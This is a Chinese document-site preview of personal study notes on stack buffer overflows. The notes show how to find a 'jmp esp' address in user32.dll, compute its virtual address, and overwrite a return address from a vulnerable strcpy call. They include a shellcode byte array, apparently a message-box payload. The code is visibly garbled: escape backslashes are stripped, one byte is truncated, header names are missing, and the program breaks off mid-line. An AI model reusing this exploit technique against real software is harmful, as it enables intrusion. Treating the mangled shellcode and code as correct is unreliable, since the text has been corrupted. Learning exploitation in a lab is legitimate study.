缓冲区溢出学习笔记

缓冲区溢出学习笔记

ID:9999593

大小:50.12 KB

页数:4页

时间:2018-05-20

缓冲区溢出学习笔记_第1页
缓冲区溢出学习笔记_第2页
缓冲区溢出学习笔记_第3页
缓冲区溢出学习笔记_第4页
资源描述:

《缓冲区溢出学习笔记》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库

1、缓冲区溢出学习笔记详细信息:一:缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,我们使用精心设计的shellcode来覆盖合法的数据,从何使我们的shellcode得到执行。缓冲区溢出堆栈原理图:二:需要解决的几个小问题:2.1缓冲区溢出后,用“jmpesp“指令地址覆盖原来的函数返回地址,执行jmpesp后,ip指针便指向缓冲区中我们的shellcode了,到哪去找“jmpesp“的地址呢?我们想到了windows的动态连接库user32.dll,我们在user32.dll中找一个“jmpesp“指令的地址不就行了吗.2.2将us

2、er32.dll载入ue,查找FFE4,可能有人会问,你怎么知道jmpesp的机器码是FFE4?那好,我们来动手找出它来,编一个asm程序:==========================.386.modelflat,stdcalloptioncasemap:noneincluded:masm32hd.h.codestart:jmpespendstart===========================ml/c/coff/Cpjmp_esp.asmlink/subsystem:windowsjmp_esp.obj我用masm编译的,编译后用od载入,~嘿嘿,办法超级笨,高手

3、莫笑。2.3确定FFE4在user32.dll中的偏移地址2.3.1用ue打开user32.dll查找FFE4,2.3.2用peditorr载入user32.dll,选择右侧的FLC,在offset处填上我们用ue查出来FFE4在文件中的偏移量,peditor自动计算出FFE4的virtualaddress,77d27447。嘿嘿~,偷懒的办法,你也可以自己动手计算。2.3.3动手计算:Va=16847h+77D10000h+c00h=77D27447,原理图如下:三.解决了以上几个小问题后,结合缓冲区溢出堆栈原理图和一个本地溢出的程序,使用vc7.0反汇编调试一下,进一步动手实践。给

4、出我用来调试的程序:#include#include#include#defineJUMPESP"x28x59xD8x77"//user32.dll中jmpesp指令的偏移量unsignedchareip[8]=JUMPESP;unsignedcharsploit[]={"x60""x8BxEC""x83xECx54""x33xC9""xC6x45xDBx75""xC6x45xDCx73""xC6x45xDDx65""xC6x45xDEx72""xC6x45xDF

5、x33""xC6x45xE0x32""xC6x45xE7x2E""xC6x45xEx64""xC6x45xE9x6C""xC6x45xEAx6C""x88x4DxEB""x8Dx45xDB""x50""xB8x77x1Dx80x7C""xFFxD0""x55""x51""x8BxEC""x83xECx54""x33xC9""xC6x45xECx53""xC6x45xEDx75""xC6x45xEEx63""xC6x45xEFx63""xC6x45xF0x65""

6、xC6x45xF1x73""xC6x45xF2x73""x88x4DxF3""xC6x45xF4x57""xC6x45xF5x65""xC6x45xF6x20""xC6x45xF7x47""xC6x45xF8x6F""xC6x45xF9x74""xC6x45xFAx20""xC6x45xFBx49""xC6x45xFCx74""xC6x45xFDx21""x88x4DxFE""x51""x8Dx45xEC""x50""x8Dx45xF4""x50""x51""

7、xB8xEAx04xD5x77""xFFxD0""x33xDB""x53""xB8xA2xCAx81x7C""xFFxD0""x8BxE5""x61"};intMyCopy(char*str){charbuff1[50];strcpy(buff1,str);return1;}intmain(){HINSTANCEu32=NULL;u32=LoadLibrary("user32.dll");if(u32==

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。